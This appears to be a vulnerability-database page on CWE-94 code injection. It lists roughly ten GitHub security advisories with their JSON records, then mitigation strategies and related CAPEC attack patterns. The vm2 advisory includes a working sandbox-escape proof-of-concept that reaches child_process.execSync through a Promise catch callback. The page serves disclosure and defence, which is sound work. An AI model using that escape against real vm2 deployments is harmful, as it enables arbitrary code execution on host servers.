CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8342 vulnerabilities reference this CWE, most recent first.
GHSA-99MX-6V2C-6F3V
Vulnerability from github – Published: 2022-05-17 05:18 – Updated: 2022-05-17 05:18The Simplenews Scheduler module 6.x-2.x before 6.x-2.4 for Drupal allows remote authenticated users with the "send scheduled newsletters" permission to inject arbitrary PHP code into the scheduling form, which is later executed by cron.
{
"affected": [],
"aliases": [
"CVE-2012-5537"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-12-03T21:55:00Z",
"severity": "MODERATE"
},
"details": "The Simplenews Scheduler module 6.x-2.x before 6.x-2.4 for Drupal allows remote authenticated users with the \"send scheduled newsletters\" permission to inject arbitrary PHP code into the scheduling form, which is later executed by cron.",
"id": "GHSA-99mx-6v2c-6f3v",
"modified": "2022-05-17T05:18:16Z",
"published": "2022-05-17T05:18:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5537"
},
{
"type": "WEB",
"url": "http://drupal.org/node/1789274"
},
{
"type": "WEB",
"url": "http://drupal.org/node/1789284"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/11/20/4"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-99P5-QPQX-MHWC
Vulnerability from github – Published: 2023-07-28 15:30 – Updated: 2023-08-03 19:37BoofCV 0.42 was discovered to contain a code injection vulnerability via the component boofcv.io.calibration.CalibrationIO.load. This vulnerability is exploited by loading a crafted camera calibration file.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.boofcv:boofcv-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.43.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-39010"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-28T20:56:56Z",
"nvd_published_at": "2023-07-28T15:15:12Z",
"severity": "CRITICAL"
},
"details": "BoofCV 0.42 was discovered to contain a code injection vulnerability via the component boofcv.io.calibration.CalibrationIO.load. This vulnerability is exploited by loading a crafted camera calibration file.",
"id": "GHSA-99p5-qpqx-mhwc",
"modified": "2023-08-03T19:37:28Z",
"published": "2023-07-28T15:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39010"
},
{
"type": "WEB",
"url": "https://github.com/lessthanoptimal/BoofCV/issues/406"
},
{
"type": "WEB",
"url": "https://github.com/lessthanoptimal/BoofCV/commit/0da6139ff69fd5a49359854ab01935d06c7f5aac"
},
{
"type": "PACKAGE",
"url": "https://github.com/lessthanoptimal/BoofCV"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Code injection in BoofCV"
}
GHSA-99P7-6V5W-7XG8
Vulnerability from github – Published: 2026-01-26 18:57 – Updated: 2026-01-29 03:22In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.1"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22709"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-913",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-26T18:57:14Z",
"nvd_published_at": "2026-01-26T22:15:55Z",
"severity": "CRITICAL"
},
"details": "In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () =\u003e error.stack;\nconst promise = f();\npromise.catch(e =\u003e {\n const Error = e.constructor;\n const Function = Error.constructor;\n const f = new Function(\n \"process.mainModule.require(\u0027child_process\u0027).execSync(\u0027echo HELLO WORLD!\u0027, { stdio: \u0027inherit\u0027 })\"\n );\n f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.",
"id": "GHSA-99p7-6v5w-7xg8",
"modified": "2026-01-29T03:22:51Z",
"published": "2026-01-26T18:57:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22709"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 has a Sandbox Escape"
}
GHSA-99PM-4CCV-WVJ5
Vulnerability from github – Published: 2026-03-07 03:30 – Updated: 2026-03-07 03:30The Easy PHP Settings plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.0.4 via the update_wp_memory_constants() method. This is due to insufficient input validation on the wp_memory_limit and wp_max_memory_limit settings before writing them to wp-config.php. The sanitize_text_field() function used for sanitization does not filter single quotes, allowing an attacker to break out of the string context in a PHP define() statement. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject and execute arbitrary PHP code on the server by modifying wp-config.php, which is loaded on every page request.
{
"affected": [],
"aliases": [
"CVE-2026-3352"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-07T02:16:13Z",
"severity": "HIGH"
},
"details": "The Easy PHP Settings plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.0.4 via the `update_wp_memory_constants()` method. This is due to insufficient input validation on the `wp_memory_limit` and `wp_max_memory_limit` settings before writing them to `wp-config.php`. The `sanitize_text_field()` function used for sanitization does not filter single quotes, allowing an attacker to break out of the string context in a PHP `define()` statement. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject and execute arbitrary PHP code on the server by modifying `wp-config.php`, which is loaded on every page request.",
"id": "GHSA-99pm-4ccv-wvj5",
"modified": "2026-03-07T03:30:27Z",
"published": "2026-03-07T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3352"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/easy-php-settings/tags/1.0.4/class-easy-php-settings.php#L1800"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/easy-php-settings/tags/1.0.5/class-easy-php-settings.php#L1998"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/easy-php-settings/trunk/class-easy-php-settings.php#L1800"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f9927487-99fb-46d9-a208-f19e0a371267?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-99PQ-R374-7JH3
Vulnerability from github – Published: 2022-05-17 03:15 – Updated: 2022-05-17 03:15KMail since version 5.3.0 used a QWebEngine based viewer that had JavaScript enabled. Since the generated html is executed in the local file security context by default access to remote and local URLs was enabled.
{
"affected": [],
"aliases": [
"CVE-2016-7967"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-12-23T22:59:00Z",
"severity": "HIGH"
},
"details": "KMail since version 5.3.0 used a QWebEngine based viewer that had JavaScript enabled. Since the generated html is executed in the local file security context by default access to remote and local URLs was enabled.",
"id": "GHSA-99pq-r374-7jh3",
"modified": "2022-05-17T03:15:16Z",
"published": "2022-05-17T03:15:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7967"
},
{
"type": "WEB",
"url": "https://www.kde.org/info/security/advisory-20161006-2.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/05/1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93360"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-99QG-2W8Q-6FQV
Vulnerability from github – Published: 2022-05-17 02:11 – Updated: 2022-05-17 02:11The WebWork 1 web application framework in Atlassian JIRA before 3.13.2 allows remote attackers to invoke exposed public JIRA methods via a crafted URL that is dynamically transformed into method calls, aka "WebWork 1 Parameter Injection Hole."
{
"affected": [],
"aliases": [
"CVE-2008-6531"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-26T21:00:00Z",
"severity": "MODERATE"
},
"details": "The WebWork 1 web application framework in Atlassian JIRA before 3.13.2 allows remote attackers to invoke exposed public JIRA methods via a crafted URL that is dynamically transformed into method calls, aka \"WebWork 1 Parameter Injection Hole.\"",
"id": "GHSA-99qg-2w8q-6fqv",
"modified": "2022-05-17T02:11:15Z",
"published": "2022-05-17T02:11:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6531"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47211"
},
{
"type": "WEB",
"url": "http://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2008-12-09"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33084"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/52707"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32746"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-99RG-J7QX-FJP3
Vulnerability from github – Published: 2025-03-21 03:30 – Updated: 2025-03-21 03:30Deserialization of untrusted data in Microsoft Dataverse allows an authorized attacker to execute code over a network.
{
"affected": [],
"aliases": [
"CVE-2025-29807"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-21T01:15:17Z",
"severity": "HIGH"
},
"details": "Deserialization of untrusted data in Microsoft Dataverse allows an authorized attacker to execute code over a network.",
"id": "GHSA-99rg-j7qx-fjp3",
"modified": "2025-03-21T03:30:26Z",
"published": "2025-03-21T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29807"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29807"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-99V4-8CF2-6HXJ
Vulnerability from github – Published: 2022-05-14 03:36 – Updated: 2022-05-14 03:36The project import functionality in SoapUI 5.3.0 allows remote attackers to execute arbitrary Java code via a crafted request parameter in a WSDL project file.
{
"affected": [],
"aliases": [
"CVE-2017-16670"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-19T19:29:00Z",
"severity": "HIGH"
},
"details": "The project import functionality in SoapUI 5.3.0 allows remote attackers to execute arbitrary Java code via a crafted request parameter in a WSDL project file.",
"id": "GHSA-99v4-8cf2-6hxj",
"modified": "2022-05-14T03:36:44Z",
"published": "2022-05-14T03:36:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16670"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/146339/SoapUI-5.3.0-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-99VM-2JMG-Q6CJ
Vulnerability from github – Published: 2025-05-09 18:30 – Updated: 2025-05-10 03:30Jan v0.5.14 and before is vulnerable to remote code execution (RCE) when the user clicks on a rendered link in the conversation, due to opening external website in the app and the exposure of electronAPI, with a lack of filtering of URL when calling shell.openExternal().
{
"affected": [],
"aliases": [
"CVE-2025-29509"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-09T17:15:50Z",
"severity": "CRITICAL"
},
"details": "Jan v0.5.14 and before is vulnerable to remote code execution (RCE) when the user clicks on a rendered link in the conversation, due to opening external website in the app and the exposure of electronAPI, with a lack of filtering of URL when calling shell.openExternal().",
"id": "GHSA-99vm-2jmg-q6cj",
"modified": "2025-05-10T03:30:22Z",
"published": "2025-05-09T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29509"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1qDztNtn2merSjYgPRLWFFXqlXM9tcrjD/view?usp=sharing"
},
{
"type": "WEB",
"url": "https://gist.github.com/Suuuuuzy/b8fa2fa083793c460e3686c182f8c4d1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-99VM-MVJV-XC3G
Vulnerability from github – Published: 2022-05-01 07:12 – Updated: 2022-05-01 07:12PHP remote file inclusion vulnerability in server.php in the Hashcash Component (com_hashcash) 1.2.1 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
{
"affected": [],
"aliases": [
"CVE-2006-3750"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-07-21T14:03:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in server.php in the Hashcash Component (com_hashcash) 1.2.1 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.",
"id": "GHSA-99vm-mvjv-xc3g",
"modified": "2022-05-01T07:12:05Z",
"published": "2022-05-01T07:12:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-3750"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27720"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2026"
},
{
"type": "WEB",
"url": "http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2006-07/0180.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/21053"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/1249"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2802"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.